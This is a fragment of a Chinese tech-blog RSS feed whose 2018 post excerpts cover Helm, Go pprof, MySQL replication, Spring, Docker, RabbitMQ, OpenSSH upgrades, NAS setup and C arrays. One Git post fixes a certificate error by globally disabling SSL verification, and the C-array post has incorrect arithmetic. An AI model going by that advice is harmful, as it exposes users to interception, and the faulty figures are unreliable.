http://localhost:8080/rsbi/userFilter/queryUser.action net::ERR_CONNECTION_REFUSED&#xA;然后&#xA;XMLHttpRequest.status：0&#xA;XMLHttpRequest.readyState：0&#xA;textStatus：error&#xA;此时就是调用被拒绝了，可能是服务没有启动 或者没登录或者，登陆后超时，那么可以跳转到登录页面，如下</description>
    </item>
    <item>
      <title>Helm chart指南-系列（4）- Chart Repository 存储库指南</title>
      <link>https://bchobby.github.io/posts/b4a4751023c1486ab628e893351e9abd/</link>
      <pubDate>Fri, 14 Dec 2018 21:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4a4751023c1486ab628e893351e9abd/</guid>
      <description>本节介绍如何创建和使用Helm chart repo。在高层次上，chart库是可以存储和共享打包chart的位置。&#xA;官方chart库由Kubernetes Charts维护 ，我们欢迎参与贡献。Helm还可以轻松创建和运行自己的chart库。本指南讲解了如何做到这一点。&#xA;我在网址 https://whmzsu.github.io/helm-doc-zh-cn/ 不断更新，同时也会搬运到这里，大家有兴趣加入https://github.com/whmzsu/helm-doc-zh-cn/的可以给我提交意见和建议。&#xA;前提条件 阅读快速入门指南Quickstart通读chart文件Charts 创建chart库 chart库是带有一个index.yaml文件和任意个打包cahrt的HTTP服务器。当准备好分享chart时，首选方法是将其上传到chart库。&#xA;注意： 对于Helm 2.0.0，chart库没有任何内部认证。 在GitHub中有一个跟踪进度的问题issue tracking progress。&#xA;由于chart库可以是任何可以提供YAML和tar文件并可以回答GET请求的HTTP服务器，因此当托管自己的chart库时，很多选择。例如，可以使用Google云端存储（GCS）存储桶，Amazon S3存储桶，Github Pages，甚至可以创建自己的Web服务器。&#xA;chart库结构 chart库由打包的chart和一个名为的特殊文件组成， index.yaml其中包含chart库中所有chart的索引。通常，index.yaml描述的chart也是托管在同一台服务器上，源代码文件也是如此。&#xA;例如，chart库的布局https://example.com/charts 可能如下所示：&#xA;charts/ | |- index.yaml | |- alpine-0.1.2.tgz | |- alpine-0.1.2.tgz.prov 这种情况下，索引文件包含有关一个chart（Alpine chart）的信息，并提供该chart的下载URL https://example.com/charts/alpine-0.1.2.tgz。&#xA;不要求chart包与index.yaml文件位于同一台服务器上 。但是，发在一起这样做通常是最简单的。&#xA;索引文件 索引文件是一个叫做yaml文件index.yaml。它包含一些关于包的元数据，包括chart的Chart.yaml文件的内容。一个有效的chart库必须有一个索引文件。索引文件包含有关chart库中每个chart的信息。helm repo index命令将根据包含打包的chart的给定本地目录生成索引文件。&#xA;下面一个索引文件的例子：&#xA;apiVersion: v1 entries: alpine: - created: 2016-10-06T16:23:20.499814565-06:00 description: Deploy a basic Alpine Linux pod digest: 99c76e403d752c84ead610644d4b1c2f2b453a74b921f422b9dcb8a7c8b559cd home: https://k8s.io/helm name: alpine sources: - https://github.</description>
    </item>
    <item>
      <title>Go 性能测试工具PProf</title>
      <link>https://bchobby.github.io/posts/73f33de719e99bf7cb7a594b6ae039c9/</link>
      <pubDate>Fri, 14 Dec 2018 17:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f33de719e99bf7cb7a594b6ae039c9/</guid>
      <description>Go语言自带了强大的性能测试工具pprof,位于 net/http 包下的 pprof。 官方文档&#xA;PProf 关注的模块 CPU profile：报告程序的 CPU 使用情况，按照一定频率去采集应用程序在 CPU 和寄存器上面的数据Memory Profile（Heap Profile）：报告程序的内存使用情况Block Profiling：报告 goroutines 不在运行状态的情况，可以用来分析和查找死锁等性能瓶颈Goroutine Profiling：报告 goroutines 的使用情况，有哪些 goroutine，它们的调用关系是怎样的 PProf 使用方式 PProf 主要涉及两个包：“net/http/pprof”、“runtime/pprof”。&#xA;net/http/pprof：只是使用runtime/pprof包来进行封装了一下，并在http端口上暴露出来。使用 net/http/pprof 可以做到直接看到当前 web 服务的状态，包括 CPU 占用情况和内存使用情况等。如果服务是一直运行的，如 web 应用，可以很方便的使用第一种方式 import &#34;net/http/pprof&#34;。&#xA;runtime/pprof:可以用来产生 dump 文件，再使用 Go Tool PProf 来分析这运行日志。&#xA;引入示例：&#xA;#web服务器: import ( &#34;net/http&#34; _ &#34;net/http/pprof&#34; ) #一般应用程序(实际应用无web交互) import ( &#34;net/http&#34; _ &#34;runtime/pprof&#34; ) 下面主要介绍web收集PProf信息方式&#xA;使用示例：&#xA;package main import ( &#34;fmt&#34; &#34;log&#34; &#34;net/http&#34; _ &#34;</description>
    </item>
    <item>
      <title>理解MySQL主从复制之realy_log_recovery</title>
      <link>https://bchobby.github.io/posts/5931ab2b27fe6ac9e6969ef2acb33504/</link>
      <pubDate>Fri, 14 Dec 2018 14:06:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5931ab2b27fe6ac9e6969ef2acb33504/</guid>
      <description>理解MySQL主从复制之realy_log_recovery 参数含义:当slave重启之后会根据slave_relay_log_info重新创建一个文件,SQL线程会根据这个文件进行恢复复制,IO线程会读取SQL线程的POS点,根据这个POS点向主库申请拉取数据&#xA;该参数是默认打开的，在数据库启动后立即启动自动relay log恢复。在恢复过程中，创建一个新的relay log,并将IO线程初始化到SQL线程的位置。&#xA;MySQL运行过程中，如果出现宕机的情况，从库启动后必须能够恢复到已经执行事务的位置，该信息传统上是存在文件中，那么久有可能存在不一致或者损坏的风险。从MySQL5.7开始，可以用表来存储这些信息，并发这些表设置为InnoDB引擎，通过使用事务型存储引擎，恢复这个信息。可以配置参数master_info_repository=table和relay_log_info_repository=table使从库信息存储在表中。从库如何从宕机的状态恢复到正确的状态，取决于从库是单线程还是多线程、relay_log_recover参数的值，以及master_auto_position的使用方式。&#xA;1、单线程模式的复制&#xA;1）当基于GTID模式复制的时候，并且设置了master_auto_position参数和relay_log_recover=0，使用该配置，其relay_log_info_repository和其他变量的设置都不会影响恢复。&#xA;2）当基于传统模式（file position）的情况，请设置relay_log_recover=1和relay_log_info_repository=table。&#xA;2、多线程模式的复制&#xA;1）当基于GTID模式复制的时候，并且设置了master_auto_position和relay_log_recovery=0,使用该配置，其relay_log_info_reposition和其它变量的设置都不会影响恢复。&#xA;2）当基于传统模式复制的时候，请设置relay_log_recovery=1、sync_relay_log=1和relay_log_info_repository=table。</description>
    </item>
    <item>
      <title>Java NIO文件路径管理：Path类和Paths类</title>
      <link>https://bchobby.github.io/posts/6d564a7094af570657f083aa51fd81f3/</link>
      <pubDate>Thu, 13 Dec 2018 17:45:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d564a7094af570657f083aa51fd81f3/</guid>
      <description>本文章主要包括如下几个章节：类介绍、Path实例获取和文件路径管理。文件路径管理中，主要介绍了Path中定义的主要方法。&#xA;1、类的介绍 Path接口 是JDK1.7中定义的接口，主要用来在文件系统中定位文件，通常表示系统相关的文件路径。JDK中的介绍：An object that may be used to locate a file in a file system. It will typically represent a system dependent file path.&#xA;Paths类 是JDK1.7中定义的静态工具类，用来根据String格式的路径或者URI返回Path的实例。JDK中的介绍：This class consists exclusively of static methods that return a {@link Path} by converting a path string or {@link URI}.&#xA;2、Path实例的获取 Path是接口，实例不能通过new关键字直接去构建；而Path的实现类，官方并不想暴露出来给用户使用，所以我们应该通过其他途径去获取Path的实例。&#xA;这里，我总结了4个方向去获取Path的实例：&#xA;1）根据字符串格式的路径获取：使用Paths工具类中的get方法去获取，方法的参数是1个或1个以上的String，Paths会自动根据参数中的字符串对路径做拼接。另外，两个点&#34;..&#34;表示的是路径向上回退一级。&#xA;2）根据URI获取：使用Paths的get(URI url)方法获取。&#xA;3）根据File的实例进行转换：File中定义了实例方法toPath()，可以将File实例转换为Path的实例。&#xA;4）从对其他Path实例的操作中获取：这个相关的方法就有很多了，例如Path自己的getParent()、normalize()等，或者Files中的诸多create、copy、walk等等多个系列的很多方法。这里就不一一列举了。&#xA;代码实例：&#xA;Path path; // 1. From String path = Paths.get(System.getProperty(&#34;user.dir&#34;), &#34;..&#34;, &#34;data&#34;) // 2. From URI path = Paths.</description>
    </item>
    <item>
      <title>上传文件相对路径设置</title>
      <link>https://bchobby.github.io/posts/fb44e946cecb9710eecc246273966a0f/</link>
      <pubDate>Thu, 13 Dec 2018 16:19:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb44e946cecb9710eecc246273966a0f/</guid>
      <description> yml中&#xA;xxx: uploadPath: D:/files/ 配置类&#xA;import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.stereotype.Component; @Component @ConfigurationProperties(prefix=&#34;xxx&#34;) public class XxxConfig { //上传路径 private String uploadPath; public String getUploadPath() { return uploadPath; } public void setUploadPath(String uploadPath) { this.uploadPath = uploadPath; } } 静态资源加载&#xA;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport; @Component class WebConfigurer extends WebMvcConfigurationSupport { @Autowired XxxConfig xxxConfig; @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { //静态资源加载相对路径 registry.addResourceHandler(&#34;/files/**&#34;).addResourceLocations(&#34;file:///&#34;+schoolConfig.getUploadPath()); } } </description>
    </item>
    <item>
      <title>Failed to start docker.service: Unit not found（Docker服务起不来）</title>
      <link>https://bchobby.github.io/posts/f75af24a3684aebf67632ad9fe92dd12/</link>
      <pubDate>Thu, 13 Dec 2018 15:54:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f75af24a3684aebf67632ad9fe92dd12/</guid>
      <description>原文https://blog.csdn.net/qq_34508530/article/details/84989990&#xA;linux部署Docker出现：Failed to start docker.service: Unit not found&#xA;用的linux 之前部署过 k8s 等项目，有一些残留很多 Docker 损坏了&#xA;重新安装后总是 起不来服务 出现：Failed to start docker.service: Unit not found&#xA;警告：酌情适用 我的情况是要重装的&#xA;解决：&#xA;直接 yum update&#xA;一定要重启linux&#xA;yum install Docker&#xA;systemctl start docker.service</description>
    </item>
    <item>
      <title>android 数独小游戏</title>
      <link>https://bchobby.github.io/posts/d05c74a3687ddf60d65f2f037618ce40/</link>
      <pubDate>Thu, 13 Dec 2018 11:19:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d05c74a3687ddf60d65f2f037618ce40/</guid>
      <description>偶然想起来写一个数独的小游戏自己没事的时候玩一玩，锻炼锻炼思路。&#xA;先上效果截图&#xA;数独生成的算法，参见博客：数独生成算法 数独游戏的最基础的在于生成数独，由于生成数独的算法运算问题，为了简化，本次数独的生成使用了 10 个基类，每次生成数独的时候随机从是个基类中选取一个模板，在根据模板将对应的 a--i 的字母 随机与 1--9 分别对应，然后生成一个数独。&#xA;数独模板基类&#xA;public class StandShudu { /** * 从10个基准数组中抽取一个基准数组 * 然后将 a-i 随机分配 1-9 * 随机赋予 a--i的值为不重复的 1--9 的值 生成一个数组 * 有多少种可能我也不会算，反正够玩的了 */ public String[][] getStand(int index){ switch (index){ case 0: return stand0; case 1: return stand1; case 2: return stand2; case 3: return stand3; case 4: return stand4; case 5: return stand5; case 6: return stand6; case 7: return stand7; case 8: return stand8; case 9: return stand9; default: return stand0; } } private String[][] stand1=new String[][]{ {&#34;</description>
    </item>
    <item>
      <title>python用OpenSSL 读取证书信息</title>
      <link>https://bchobby.github.io/posts/b531fe87c2c567d4416e7669c7112c38/</link>
      <pubDate>Thu, 13 Dec 2018 10:54:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b531fe87c2c567d4416e7669c7112c38/</guid>
      <description>from OpenSSL import crypto&#xA;# path表示证书路径，file_name表示证书文件名&#xA;cert_file = &#39;/path/file_name/&#39;&#xA;cert_file = &#39;/path/to/your/certificate&#39;&#xA;cert = crypto.load_certificate(crypto.FILETYPE_PEM, open(cert_file).read())&#xA;subject = cert.get_subject()&#xA;# 得到证书的域名&#xA;issued_to = subject.CN issuer = cert.get_issuer()&#xA;# 得到证书颁发机构&#xA;issued_by = issuer.CN</description>
    </item>
    <item>
      <title>CSS：Rem的用法</title>
      <link>https://bchobby.github.io/posts/a1a274b212164c9993ee919b0de2decc/</link>
      <pubDate>Thu, 13 Dec 2018 10:14:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1a274b212164c9993ee919b0de2decc/</guid>
      <description>rem：相对于根元素缩放，设定根元素的字体大小，在不同屏幕尺寸下，其他元素对应显示不同的字体大小。&#xA;em：继承父级的字体大小。&#xA;rem的使用：&#xA;1）设置根元素的字体大小&#xA;浏览器默认的字体大小为16px，跟元素&amp;lt;html&amp;gt;设置 font-size: 62.5%; 相当于页面font-size定义为10px （16px * 62.5% = 10px）；&#xA;html { font-size: 62.5%; } 此时，换算关系如下：&#xA;px&#xA;rem&#xA;10px&#xA;1rem&#xA;12px&#xA;1.2rem&#xA;14px&#xA;1.4rem&#xA;16px1.6rem 踩坑：&#xA;chrome浏览器默认支持的最小字号是12px;&#xA;当html根元素设置 font-size为62.5%（10px）时，在chrome浏览器中，字体1.6rem会等同于16px，但是宽高用rem定义会比16px更大。&#xA;因此，兼容chrome浏览器，建议将根目录设置为625%；&#xA;html { font-size: 625%; } 此时，换算关系如下：&#xA;px&#xA;rem&#xA;10px&#xA;0.1rem&#xA;12px&#xA;0.12rem&#xA;14px&#xA;0.14rem&#xA;16px0.16rem 也可以根据实际项目需求，自定义根目录字体大小，进行换算。</description>
    </item>
    <item>
      <title>利用scipy.optimize求解投资组合的有效边界</title>
      <link>https://bchobby.github.io/posts/756ddd1159885d65180a4ab33b5aede7/</link>
      <pubDate>Wed, 12 Dec 2018 21:45:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756ddd1159885d65180a4ab33b5aede7/</guid>
      <description>本文例子是基于道琼斯指数、墨西哥MXX指数、日经225、富时100四个指数来构建有效前沿，思路很简单，在给定组合的收益率下，寻找最小方差的投资比例，然后分别取不同的组合收益率，寻找对应的最小方差；那么这个过程如何在python中实现呢？可以利用scipy.optimize中的minimize函数进行求解，代码如下：&#xA;# -*- coding: utf-8 -*- &#34;&#34;&#34; 计算有效边界上的mean-std组合 @author: solon &#34;&#34;&#34; import pandas as pd import numpy as np from scipy.optimize import minimize df1=pd.read_csv(r&#39;Z:\User\data\data_indexes.csv&#39;) #读取指数收益率数据 mean_r=np.array(df1.mean()) df2=df1.cov() def std(x0): &#39;&#39;&#39;计算给定权重下的组合的标准差&#39;&#39;&#39; ww=np.array(x0) std=np.dot(np.dot(ww,np.array(df2)),ww.T) return std x0=[0.1,0.2,0.3,0.4] #任意给定一个初始投资比例 l_r=[] l_std_1=[] l_std_2=[] for r in np.linspace(-0.0033,0.015,100): cons1=({&#39;type&#39;:&#39;eq&#39;,&#39;fun&#39;:lambda x: np.sum(x)-1},{&#39;type&#39;:&#39;eq&#39;,&#39;fun&#39;:lambda x: np.dot(x,mean_r.T)-r}) #等式类型的约束条件，约束条件为投资比例之和为1，以及组合收益率为r cons2=({&#39;type&#39;:&#39;eq&#39;,&#39;fun&#39;:lambda x: np.sum(x)-1},{&#39;type&#39;:&#39;eq&#39;,&#39;fun&#39;:lambda x: np.dot(x,mean_r.T)-r},{&#39;type&#39;:&#39;ineq&#39;,&#39;fun&#39;:lambda x:x[0]},{&#39;type&#39;:&#39;ineq&#39;,&#39;fun&#39;:lambda x:x[1]},{&#39;type&#39;:&#39;ineq&#39;,&#39;fun&#39;:lambda x:x[2]},{&#39;type&#39;:&#39;ineq&#39;,&#39;fun&#39;:lambda x:x[3]}) #包含不等式约束，增加了投资比例都非负这样的约束条件 res1=minimize(std,x0,method=&#39;SLSQP&#39;,constraints=cons1) #minimize函数中的第一个参数std表示要最小化的目标函数，x0为ndarray,表示目标函数中的待求解的未知变量，以std的第一个参数的形式传入，需要一个初始值 res2=minimize(std,x0,method=&#39;SLSQP&#39;,constraints=cons2) l_r.append(r) l_std_1.append(res1.fun) l_std_2.append(res2.fun) df=pd.DataFrame([l_r,l_std_1,l_std_2]).T df.columns=[&#39;return&#39;,&#39;sigma_uncons&#39;,&#39;sigma_cons&#39;] #对得到的df进行处理，以方便后续作图 df2[&#39;return_unlimited&#39;]=df[&#39;return&#39;] df2[&#39;return_limited&#39;]=df[&#39;return&#39;] df2.</description>
    </item>
    <item>
      <title>hadoop启动报错JAVA_HOME is incorrectly set</title>
      <link>https://bchobby.github.io/posts/307710694268c6fcea5660a29da546e6/</link>
      <pubDate>Wed, 12 Dec 2018 19:52:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/307710694268c6fcea5660a29da546e6/</guid>
      <description>错误信息：&#xA;Error: JAVA_HOME is incorrectly set. Please update D:\work\hadoop-2.4.1\conf\hadoop-env.cmd &#39;-Xmx512m&#39; 不是内部或外部命令，也不是可运行的程序 或批处理文件。 原因：java默认安装在C:\Program Files\Java，路径存在空格，所以启动会报错。&#xA;解决办法：两种解决办法一个是修改JAVA_HOME环境变量，另一个是修改etc/hadoop/hadoop-env.cmd中的JAVA_HOME配置。两种方式都是将JAVA_HOME的值中的Program Files改成8字符缩写。如将C:\Program Files\Java\jdk1.7.0_79修改为C:\Progra~1\Java\jdk1.7.0_79。</description>
    </item>
    <item>
      <title>ARM32入门学习笔记之 GPIO库</title>
      <link>https://bchobby.github.io/posts/fadbea830e0f8d5ed52be51d03a7ad3f/</link>
      <pubDate>Wed, 12 Dec 2018 17:39:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fadbea830e0f8d5ed52be51d03a7ad3f/</guid>
      <description>ARM32入门学习笔记之 GPIO库 固件库中的GPIO函数 固件库中的GPIO函数 函数名描述GPIO_Init根据GPIO_InitStruct中指定的参数初始化外设GPIOx寄存器GPIO_ReadInputDataBit读取指定端口管脚的输入GPIO_ReadInputData读取指定的GPIO端口输入GPIO_ReadInputDataBit读取指定端口管脚的输出GPIO_ReadOutputData读取指定的GPIO端口输出GPIO_SetBits设置指定的数据端口位GPIO_ResetBits清除指定的数据端口位GPIO_WriteBit设置或者清除指定的数据端口位GPIO_Write向指定GPIO数据端口写入数据 1.GPIO_Init函数&#xA;void GPIO_Init(GPIO_TypeDef* GPIOx, GPIO_InitTypeDef* GPIO_InitStruct); 根据GPIO_InitStruct中指定的参数初始化外设GPIOx寄存器&#xA;参数1：GPIOx：x可以是A、B、C、D、E，来选择GPIO外设；&#xA;参数2：GPIO_InitStruct:指向结构GPIO_InitTypeDef的指针，包含了外设GPIO的配置信息参阅Section:GPIO_InitTypeDef查阅更多该参数允许取值范围；&#xA;例如：&#xA;//声明一个名为GPIO_InitStructure的GPIO_InitTypeDef型结构体 GPIO_InitTypeDef GPIO_InitStructure; //选中端口1 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0; //选择端口的速度为10M GPIO_InitStructure.GPIO_Speed = GPIO_Speed_10MHz; //选择端口为输出模式 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT; //选择端口为推挽输出 GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; //选择端口为无上拉和下拉 GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_Init(GPIOA,&amp;amp;GPIO_InitStructure); 2.GPIO_ReadInputDataBit函数&#xA;uint8_t GPIO_ReadInputDataBit(GPIO_TypeDef* GPIOx, uint16_t GPIO_Pin); 读取指定端口管脚的输入&#xA;参数1：GPIOx：同上&#xA;参数2：GPIO_Pin：待读取的端口位&#xA;例如：&#xA;uint8_t ReadValue; ReadValue = GPIO_ReadInputDataBit(GPIOA,GPIO_Pin_7); 3.GPIO_ReadInputData函数&#xA;uint16_t GPIO_ReadInputData(GPIO_TypeDef* GPIOx); 读取指定的GPIO端口输入&#xA;例如：&#xA;uint16_t ReadValue; ReadValue = GPIO_ReadInputData(GPIOA); 4.GPIO_SetBits函数&#xA;void GPIO_SetBits(GPIO_TypeDef* GPIOx, uint16_t GPIO_Pin); 设置指定的数据端口位</description>
    </item>
    <item>
      <title>1-5  统计二叉树度为1的结点个数 （10 分）</title>
      <link>https://bchobby.github.io/posts/a97fdecdc31fe76b8db4da0250a1360e/</link>
      <pubDate>Wed, 12 Dec 2018 16:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a97fdecdc31fe76b8db4da0250a1360e/</guid>
      <description> 本题要求实现一个函数，可统计二叉树中度为1的结点个数。&#xA;函数接口定义： int NodeCount ( BiTree T); T是二叉树树根指针，函数NodeCount返回二叉树中度为1的结点个数，若树为空，返回0。&#xA;裁判测试程序样例： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; typedef char ElemType; typedef struct BiTNode { ElemType data; struct BiTNode *lchild,*rchild; }BiTNode,*BiTree; BiTree Create();/* 细节在此不表 */ int NodeCount ( BiTree T); int main() { BiTree T = Create(); printf(&#34;%d\n&#34;, NodeCount(T)); return 0; } /* 你的代码将被嵌在这里 */ 输出样例（对于图中给出的树）： 1 int NodeCount( BiTree T){ if(T==NULL) { return 0; } if(T-&amp;gt;lchild==NULL&amp;amp;&amp;amp;T-&amp;gt;rchild!=NULL||T-&amp;gt;rchild==NULL&amp;amp;&amp;amp;T-&amp;gt;lchild!=NULL){ return 1+NodeCount(T-&amp;gt;lchild)+NodeCount(T-&amp;gt;rchild); } return NodeCount(T-&amp;gt;lchild)+NodeCount(T-&amp;gt;rchild); } </description>
    </item>
    <item>
      <title>99Day资源分享</title>
      <link>https://bchobby.github.io/posts/fa1daac7fdfb739fcc60fbc406855cb7/</link>
      <pubDate>Wed, 12 Dec 2018 14:39:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa1daac7fdfb739fcc60fbc406855cb7/</guid>
      <description>99Day资源分享：找资源，分享好资源！99Day资源，专注于分享福利，动态图，gif出处，电影资源，教程分享，资源图片，好玩的视频软件下载等，我们正在努力做全网最专业的资源网站。&#xA;https://www.99day.com/</description>
    </item>
    <item>
      <title>RabbitMQ安装后Web管理页面访问不了</title>
      <link>https://bchobby.github.io/posts/44f2ce04acfd0ebc11e7bdf4a0a3cc4e/</link>
      <pubDate>Wed, 12 Dec 2018 10:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44f2ce04acfd0ebc11e7bdf4a0a3cc4e/</guid>
      <description> 借鉴博客：&#xA;解决RabbitMQ安装后Web管理页面打不开的问题&#xA;上述博主答案不能解决请参考下方：&#xA;1、打开rabbitmq命令行窗口&#xA;2、rabbitmq-service remove(输入正确后按回车)&#xA;3、rabbitmq-service install(输入正确后按回车)&#xA;4、rabbitmq-service start(输入正确后按回车)&#xA;5、rabbitmq-plugins enable rabbitmq_management(输入正确后按回车)&#xA;6、rabbitmq-service stop(输入正确后按回车)&#xA;7、rabbitmq-service start(输入正确后按回车)&#xA;完整命令行截图：&#xA;8、浏览器输入 http://127.0.0.1:15672 验证 </description>
    </item>
    <item>
      <title>SSH7.6升级7.9操作记录（步骤，附带依赖包下载链接）</title>
      <link>https://bchobby.github.io/posts/8b1d9b0ac5b30012ae79091509b71f2a/</link>
      <pubDate>Tue, 11 Dec 2018 23:30:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b1d9b0ac5b30012ae79091509b71f2a/</guid>
      <description>操作顺序：5/1/2/3/4/6，要是不按照顺序，肯定升级失败。&#xA;操作没有多少，洋洋洒洒好长的篇幅，都是查看的文件目录。&#xA;1、安装包准备。&#xA;2、安装rpm包&#xA;3、备份openssl并编译升级zlib-1.2.11以及openssl1.0.2p&#xA;4、编译安装openssh&#xA;5、开启telnet&#xA;6、关闭telnet&#xA;1、安装包准备。&#xA;准备所有rpm包并上传至/mnt/ssh/rpm&#xA;liuyt:~ # cd /mnt/ssh/rpm&#xA;liuyt:/mnt/ssh/rpm # ll&#xA;total 516&#xA;-rw-r--r-- 1 hlj users 2184038 12月 11 21:28 gcc43-4.3.4_20091019-0.37.30.x86_64.rpm&#xA;-rw-r--r-- 1 hlj users 5021 12月 11 21:28 gcc-4.3-62.198.x86_64.rpm&#xA;-rw-r--r-- 1 hlj users 5055406 12月 11 21:28 glibc-devel-2.11.3-17.54.1.x86_64.rpm&#xA;-rw-r--r-- 1 hlj users 283101 12月 11 21:28 libopenssl-devel-1.0.2j-25.1.x86_64.rpm&#xA;-rw-r--r-- 1 hlj users 737479 12月 11 21:28 linux-kernel-headers-2.6.32-1.13.5.noarch.rpm&#xA;-rw-r--r-- 1 hlj users 79617 12月 11 21:28 pam-devel-1.</description>
    </item>
    <item>
      <title>我是如何搭建一台家庭NAS的</title>
      <link>https://bchobby.github.io/posts/d26f1019e802ae1e416e59b91bc5f11b/</link>
      <pubDate>Tue, 11 Dec 2018 22:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d26f1019e802ae1e416e59b91bc5f11b/</guid>
      <description>原文网址：http://www.geekpark.net/news/203985&#xA;摘要&#xA;想在平板上看硬盘里的电影，要共享点资料给朋友， NAS私有云是极客们好帮手，本文将介绍QNAP TS-221家庭NAS后买后两个月的使用情况，并手把手教你组建一台家庭NAS。&#xA;更多科技报道，请关注极客之选微信公众号（搜索：GeekChoice），也可以关注微博 @极客之选那些事儿 了解我们的最新动态&#xA;如今自己和家人都有了不少的电子设备，而散布于这些设备中的影音、文档等数据也越来越多，经常遇到旅游回来的照片放在某台电脑里、想在平板上看硬盘里的电影、要共享点资料给朋友等等问题，迫切需要有一个数据的存储管理中心，将各设备中的数据统一管理，并能够通过互联网操作，而家用 NAS 恰好提供了这个解决方案，它可将不同设备存储于其中的数据分类管理，并支持本地与互联网的多种访问途径，提供用户访问权限设定，还可以随时随地的备份数据，扩容也很方便，更重要的是系统可通过安装 APP 来扩展各种新功能，形象的说，家用 NAS 就是一朵自己的私有云。&#xA;1、什么是NAS？ NAS 全称 Network Attached Storage，即网络附加存储服务器，它通过自身的操作系统和 SMB/NFS/CIFS/FTP 等多种通信协议来给各种设备和平台提供数据的存储、访问和管理的服务，详细可见百度、维基。而家用 NAS 厂家都给我们提供了友善的图形化 Web 操作界面，定制化程度很高，可以很方便的进行服务部署、端口设置、权限管理等操作。&#xA;下面直入主题，介绍下笔者的 QNAP TS-221 家庭 NAS 从购买到现在两个月的使用情况。&#xA;2、存储设备的选择和购买 家用 NAS 操作系统的使用和系统日后的升级、维护、扩展十分重要，这些都需要专业的 NAS 厂家来保障，因此我挑选了群晖 Synology 和威联通 QNAP 这两家同在台湾的专业网络存储设备供应商作为候选。接下来需要比较下这两家的 NAS 操作系统，正好他们也都提供了各自系统的在线 Demo 体验入口（群晖 登陆名：admin 密码：synology，威联通 登陆名：qnap 密码：qnap）。&#xA;群晖 NAS 的 DSM 系统&#xA;威联通 NAS 的 QTS 系统&#xA;两家的系统都是图形化的界面，各功能都以图标显示，使用起来很方便，对比下来两家系统的功能和使用逻辑十分相似，连提供的服务都几乎相同，支持 Windows、Mac 和 Linux 的文件共享，并能将 NAS 中的多媒体数据汇整通过网页发布与共享，提供部署 HTTP/FTP/DLNA/iTunes/MySQL/VPN 等服务器，可以进行本地和网络备份，支援多终端设备的登陆，有自己的应用商店可以通过下载应用来扩展 NAS 的功能（如迅雷远程下载、Google Drive、Dropbox 同步、WordPress 等），提供移动 APP 对 NAS 进行使用和管理。</description>
    </item>
    <item>
      <title>C中如何定义长度为1000000的整型数组</title>
      <link>https://bchobby.github.io/posts/c0cdca13416e43688a611e6bc2816a46/</link>
      <pubDate>Tue, 11 Dec 2018 19:16:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0cdca13416e43688a611e6bc2816a46/</guid>
      <description>int n[1000000];这样肯定是不行的，因为这样定义的数组用的是栈内存，系统默认值为最大1Mb，一个int型占4字节这样最大可以申请1024*1024/4=264144个，如果考虑到系统自身的占用最大值约为25000个。int *p=(int )malloc(1000000sizeof(int));，这样用的是堆内存，只要你内存有那么多的连续空间就可以；例子如下：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;malloc.h&amp;gt; int main() { int *p=(int *)malloc(1000000*sizeof(int)); //int p[1000000]; int i=0; for(;i&amp;lt;1000000;i++) printf(&#34;%d\n&#34;,p[i]=i); free(p); return 0; } 通常用两个办法解决这个问题：&#xA;1.声明一个全局数组。就是在所有函数之外声明，如int a[1000000];就可以了。&#xA;2.在需要的函数中用malloc函数动态申请内存，如int *pt=(int *)malloc(sizeof(int)*1000000);就可以了。用完后要用free(pt);释放所申请的内存空间。</description>
    </item>
    <item>
      <title>Git 问题：SSL certificate problem: self signed certificate</title>
      <link>https://bchobby.github.io/posts/6ea1dc59a33b9ae568a8727275820314/</link>
      <pubDate>Mon, 10 Dec 2018 21:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ea1dc59a33b9ae568a8727275820314/</guid>
      <description>在Windows上使用git命令push代码时，提示：SSL certificate problem: self signed certificate&#xA;具体是什么问题，也不清楚，也不管是不是SSL证书的问题，解决方案：在git配置窗口中输入以下命令：&#xA;git config --global http.sslVerify false 问题就可以解决了。&#xA;转载于:https://www.cnblogs.com/pupilLZT/p/10099451.html</description>
    </item>
    <item>
      <title>POJ 4151/北大百练 4151 电影节 题解（两种方法）贪心算法基础</title>
      <link>https://bchobby.github.io/posts/0cfe87b76efc35aa9ba266f8109653e3/</link>
      <pubDate>Mon, 10 Dec 2018 20:36:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cfe87b76efc35aa9ba266f8109653e3/</guid>
